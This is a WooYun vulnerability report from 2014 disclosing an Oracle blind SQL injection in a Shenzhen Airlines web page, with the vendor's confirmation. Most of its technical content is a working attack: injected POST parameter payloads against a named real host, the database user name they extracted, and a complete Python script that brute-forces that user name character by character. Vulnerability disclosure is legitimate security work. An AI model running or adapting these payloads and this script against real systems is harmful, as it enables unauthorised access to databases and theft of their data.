当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082564

漏洞标题:深航某站点存在Oracle盲注附验证python脚本

相关厂商:深圳航空

漏洞作者: lijiejie

提交时间:2014-11-08 21:22

修复时间:2014-12-23 21:24

公开时间:2014-12-23 21:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-08: 细节已通知厂商并且等待厂商处理中
2014-11-11: 厂商已经确认,细节仅向厂商公开
2014-11-21: 细节向核心白帽子及相关领域专家公开
2014-12-01: 细节向普通白帽子公开
2014-12-11: 细节向实习白帽子公开
2014-12-23: 细节向公众公开

简要描述:

深航某站点存在Oracle盲注,附验证python脚本

详细说明:

注入点:

POST http://miaosha.shenzhenair.com/module/hyfw/inc_flightsegment.jsp
dstcity=BAV&orgcity=AEB' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=13 AND 'aaa'='aaa


bool盲注。如果页面返回到达地“广州”,表示True。
以上请求是确认数据库用户的长度为13。
若使用注释符号,变为:

dstcity=BAV&orgcity=AEB' AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=13--


那么为True时,出现的应该是到达地“桂林”。如图:

shenzhenair_1.PNG

漏洞证明:

暂未测试UTL_HTTP.request是否可用,比较喜欢盲注。暴力猜解实际可以二分,此处做了简化。得到当前用户:

B2CSHEBENTER


shenzhenair_2.PNG


python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))

print 'start to retrive Oracle user:'
user = ''
for i in range(1,14,1):
for payload in payloads:
conn = httplib.HTTPConnection('miaosha.shenzhenair.com', timeout=30)
params = {
'dstcity': 'BAV',
'orgcity': "AEB' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s--" % (i, ord(payload))
}
conn.request(method='POST',
url='/module/hyfw/inc_flightsegment.jsp',
body = urllib.urlencode(params),
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read().decode('gbk')
conn.close()
print '.',
if html_doc.find(u'<option value="KWL" >G-桂林</option>') > 0: # true
user += payload
print '\n[in progress]', user
break
print '\nOracle user is', user

修复方案:

编码

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-11 13:41

厂商回复:

感谢您对深航系统的关系,已安排人员修复

最新状态:

暂无